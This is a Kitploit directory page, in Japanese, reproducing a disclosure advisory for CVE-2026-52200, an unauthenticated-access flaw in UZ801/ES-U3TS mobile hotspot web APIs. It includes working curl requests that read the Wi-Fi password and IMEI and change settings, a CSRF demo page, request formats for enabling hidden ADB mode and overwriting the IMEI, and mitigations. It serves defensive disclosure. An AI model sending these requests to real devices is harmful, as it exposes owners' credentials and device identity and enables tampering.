Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/lamaper/cve-2026-52200
IoTセキュリティ脆弱性分析エクスプロイト構成監査情報収集ウェブセキュリティペネトレーションテスト
GitHublamaper/cve-2026-52200

CVE-2026-52200

セキュリティアドバイザリ:UZ801/ES-U3TS MifiService Web APIにおける破損したアクセス制御の詳細。認証なしでのデータ抽出、設定変更、デバイス再起動を可能にします。PoCと緩和策を含みます。

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

UZ801 / ES-U3TS MifiService のアクセス制御の欠陥(Broken Access Control)

OEM / ホワイトラベルの UZ801_v2.1 4G LTE モバイル Wi-Fi プラットフォーム(ES-U3TS としても販売されていることを確認)上の MifiService.apk によって公開されている組み込み Web 管理 API におけるアクセス制御の欠陥に関するセキュリティアドバイザリおよび技術メモ。

このリポジトリは、協調的な情報開示と CVE 採番を支援することを目的としています。再現可能で、武器化されていない技術的証拠に焦点を当てています。

概要

影響を受けるデバイスは、以下の場所に Jetty ベースの HTTP 管理エンドポイントを公開しています:

root@kitploit:~
http://192.168.100.1/ajax

バックエンドのリクエストディスパッチャは、以下に実装されています:

root@kitploit:~
com.mifiservice.server.AjaxSevlet

Web UI はログインページを表示しますが、バックエンドはほとんどの管理機能に対して有効な認証済みサーバーサイドセッションを強制しません。その結果、隣接ネットワーク上の攻撃者は、認証なしで機密性の高い funcNo 操作を直接呼び出すことができます。

確認された影響には以下が含まれます:

  • 現在の Wi-Fi パスワードの平文での抽出
  • IMEI、ファームウェア情報、SIM ステータス、ネットワーク設定の抽出
  • DHCP および MAC フィルタ設定の抽出
  • 認証なしでの管理設定の変更および永続化
  • 認証なしでの設定リセットおよびデバイスの再起動のトリガー

追加の高リスク機能が静的解析によって確認されており、以下が含まれます:

  • ブートローダーへの再起動
  • 隠し ADB / Qualcomm Diag USB モードの有効化と再起動
  • 文書化されていない IMEI 上書き機能

範囲と命名

テストしたハードウェアは、OEM / ホワイトラベルのデバイスファミリーに属していると思われます。正確な元の開発ベンダーは現在不明であり、信頼できるベンダーのセキュリティ連絡先もこれまでに特定されていません。

したがって、このアドバイザリでは以下の製品命名を使用します:

  • プラットフォーム: UZ801_v2.1
  • 確認されたマーケティング別名: ES-U3TS
  • 確認されたファームウェア: UZ801-V3.4.3
  • 確認されたアプリ: MifiService.apk
  • 確認されたパッケージ: com.mifiservice.hello

同じファームウェア、APK、Web アセット、および funcNo の動作を出荷している追加のブランドや再販業者が見つかった場合、それらは同じコードベースの影響を受ける可能性が高い亜種として扱われるべきです。

影響を受けるコンポーネント

  • /ajax Web API エンドポイント
  • MifiService.apk
  • com.mifiservice.server.AjaxSevlet

根本原因

これは主にデフォルト認証情報の問題ではありません。

根本原因は、バックエンド API のアクセス制御の欠陥です:

  • ほとんどの管理リクエストに対して認証済みサーバーサイドセッションが強制されていません
  • CSRF 保護が存在しません
  • Origin 検証が存在しません
  • Referer 検証が存在しません
  • ほとんどの機密機能に対してセッション Cookie またはトークンが要求されません

ログイン機能は存在しますが、管理 API の大部分に対して意味のある認可境界を提供していません。

脅威モデル

主な攻撃ベクトル:

  • デバイスのホットスポットに接続している隣接ネットワーク攻撃者

副次的な攻撃ベクトル:

  • デバイスの LAN に現在接続している被害者に対するブラウザベースの CSRF / ドライブバイ悪用

これはデフォルトではインターネットに公開されたリモート攻撃ではありません。攻撃者は以下のいずれかを満たす必要があります:

  • 192.168.100.1 への直接のレイヤ 2 / レイヤ 3 到達可能性を持っていること、または
  • 接続中の被害者のブラウザを強制してデバイスエンドポイントにリクエストを送信させること

証拠のステータス

以下のすべての調査結果は、同じアクセス制御の欠陥の影響を受ける機能として含まれています。
関連する場合、各項目は以下のいずれかとして明示的にマークされています:

  • ライブ検証済み
  • 静的解析で確認

この区別は正確性のために維持されています。高リスク機能は、公開ハードウェア上で意図的に実行されなかった場合、ライブテスト済みとして誤ってラベル付けされることはありません。

機能グループ別の技術的調査結果

認証なしの情報開示

認証なしの設定変更

認証なしの破壊的 / 管理アクション

文書化されていない、またはメンテナンススタイルの機能

funcNo説明ステータスメモ
2003隠しメンテナンスパスワード経路

ベンダーのステータス

  • 元のアップストリームベンダー: 不明
  • 製品タイプ: OEM / ホワイトラベルモバイルルータープラットフォーム
  • 信頼できる PSIRT / セキュリティ連絡先: 特定されていません
  • 現在の開示状態: ベンダーに連絡不可 / 確認されたベンダーセキュリティチャネルなし

本稿執筆時点では、このデバイスは OEM / 再販業者チャネルを通じて、一貫性のない、または欠落したブランディングで販売されているようであり、信頼できる元の開発ベンダーの連絡先は確立されていません。

安全な PoC 例

以下の例は、意図的に読み取り専用または影響の少ない検証に限定されています。これらは、武器化された悪用手順を提供せずに脆弱性を実証するために含まれています。

1. 認証なしで現在の Wi-Fi パスワードを読み取る

root@kitploit:~
curl -s \
  -H "Content-Type: application/json" \
  -d '{"funcNo":1002}' \
  http://192.168.100.1/ajax

期待される動作:

  • JSON を返します
  • ssid を含みます
  • pwd を平文で含みます

2. 認証なしでデバイス識別情報を読み取る

root@kitploit:~
curl -s \
  -H "Content-Type: application/json" \
  -d '{"funcNo":1029}' \
  http://192.168.100.1/ajax

期待される動作:

  • JSON を返します
  • imei を含みます
  • fwversion を含みます

3. 影響の少ないフィールドを使用して、認証なしの永続的な書き込みアクセスを実証する

現在の言語を読み取る:

root@kitploit:~
curl -s \
  -H "Content-Type: application/json" \
  -d '{"funcNo":1030}' \
  http://192.168.100.1/ajax

言語を設定する:

root@kitploit:~
curl -s \
  -H "Content-Type: application/json" \
  -d '{"funcNo":1031,"Language":"Chinese"}' \
  http://192.168.100.1/ajax

その後、元の値を復元します。

4. ブラウザベースの CSRF コンセプト

このエンドポイントは、セッション状態または Origin / Referer 検証を強制しません。したがって、接続中の被害者のブラウザを悪用して、バックグラウンドリクエストを送信させることができます。

最小限のデモページ:

root@kitploit:~
<!doctype html>
<meta charset="utf-8">
<script>
fetch("http://192.168.100.1/ajax", {
  method: "POST",
  headers: {"Content-Type": "application/json"},
  body: JSON.stringify({funcNo: 1002})
});
</script>

この例は、意図的に読み取り専用の機能番号に限定されています。ユーザーや本番デバイスに対して展開しないでください。

非公開 / 高リスクのリクエスト形式

以下の JSON 形式は、防御的分析とトリアージのみを目的として文書化されています。ここでは実行手順は提供されません。

2001 - 隠しデバッグインターフェースの有効化

root@kitploit:~
{"funcNo":2001}

コードで観察された動作:

  • setprop persist.sys.usb.config rndis,serial_smd,diag,adb を実行します
  • sync を実行します
  • デバイスを再起動します

2004 - IMEI 上書き経路

root@kitploit:~
{"funcNo":2004,"imei":"<redacted-test-value>"}

コードで観察された動作:

  • AT+WRIMEI=<value> に相当する経路を呼び出します
  • 後続の IMEI 読み戻し経路を介して成功を確認します

法的、コンプライアンス、およびデバイス整合性の懸念により、ここに公開ライブテストは含まれていません。

証拠の抜粋

1002 の認証なしレスポンスの例

root@kitploit:~
{
  "results": [
    {
      "dns1": "8.8.8.8",
      "ssid": "4G-UFI-8E1",
      "dns2": "8.8.8.8",
      "mask": "255.255.255.0",
      "pwd": "1234567890",
      "wlan_ip": "192.168.100.1",
      "IP": "192.168.100.1"
    }
  ],
  "error_info": "none",
  "flag": "1"
}

1029 の認証なしレスポンスの例

root@kitploit:~
{
  "results": [
    {
      "manufacture": "Qualcomm Technology",
      "dbm": "",
      "fwversion": "V3.4.3",
      "imei": "863993064154463"
    }
  ],
  "error_info": "none",
  "flag": "1"
}

これが CVE 候補である理由

この問題は、以下の理由から有力な CVE 候補です:

  • 顧客管理のデバイス上で再現可能
  • 隣接ネットワークの攻撃者が到達可能
  • 文書化されていない物理的な変更に依存しない
  • 単なるデフォルトパスワードの問題ではない
  • 機密性、完全性、可用性にわたって影響がある

推奨される分類:

  • CWE-306 重要な機能に対する認証の欠如
  • CWE-862 認可の欠如

推奨される CVSS:

root@kitploit:~
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

開示ステータス

  • 静的解析完了: 2026-05-11
  • ライブ検証完了: 2026-05-12
  • ベンダー連絡準備完了: 2026-05-12
  • 公開アドバイザリ草稿作成: 2026-05-12

緩和策

  • すべての管理機能に対して有効なサーバーサイド認証済みセッションを要求する
  • 認証なしのすべての機密 funcNo リクエストを拒否する
  • CSRF 保護を追加する
  • Origin と Referer を検証する
  • 本番ビルドから文書化されていないメンテナンスエンドポイントを削除する
  • 認証なしの API レスポンスを通じて Wi-Fi 認証情報を決して公開しない

法的および安全性に関する通知

このリポジトリは、防御的研究、脆弱性開示、および調整を目的としています。公開されている例は、意図的に低リスクの検証に限定されています。高リスク機能は、是正と CVE トリアージに必要な範囲でのみ文書化されています。

ツールをダウンロード
funcNo説明ステータスメモ
1002SSID、デバイス IP、DNS、Wi-Fi パスワードの読み取りライブ検証済みWi-Fi パスワードを平文で返します
1009Wi-Fi 暗号化モードとパスワードの読み取りライブ検証済みWi-Fi パスワードを平文で返します
1011DHCP 範囲、DNS、クライアントリストの読み取りライブ検証済みローカル偵察に有用
1015SIM ステータスの読み取りライブ検証済みSIM 状態を返します
1029IMEI、ファームウェア、製造元、信号情報の読み取りライブ検証済み機密性の高いデバイス ID を返します
1052MAC フィルタモードと設定エントリの読み取りライブ検証済みポリシーと設定済みスロットを漏洩します
2002アクティブな SIM スロットの読み取りライブ検証済み実行時状態を公開します
funcNo説明ステータスメモ
1004接続モードの変更静的解析で確認セッション強制は観察されませんでした
1005優先ネットワークモードの変更静的解析で確認運用への影響が大きい
1007SSID / 最大ステーション数の変更静的解析で確認設定を永続化し、AP ロジックを再起動します
1010Wi-Fi 暗号化モード / パスワードの変更静的解析で確認機密性への影響が大きい
1012DHCP/DNS 関連設定の変更静的解析で確認ローカルネットワークの改ざん
1016/1017/1018APN プロファイルの読み取り / 設定 / 切り替え静的解析で確認WAN 動作の変更
1031言語の変更と永続化ライブ検証済み書き込みアクセスの低リスクな証明として使用
1053/1054/1055MAC フィルタの動作とエントリの変更静的解析で確認ネットワークアクセス制御の改ざん
funcNo説明ステータスメモ
1013デバイスの再起動ライブ検証済みDoS / サービス中断
1014アプリ/ネットワーク設定のリセットと再起動ライブ検証済みAndroid ユーザーデータの完全なワイプではありません
2000ブートローダーへの再起動ライブ検証済み運用への影響が大きい
2001隠し ADB/Diag USB 設定の有効化と再起動静的解析で確認危険なメンテナンス経路
静的解析で確認
ハードコードされた admin8888 を使用。動作は部分的 / 残存しているように見えます
2004IMEI の上書き静的解析で確認AT コマンド経路を呼び出します。公には実行されていません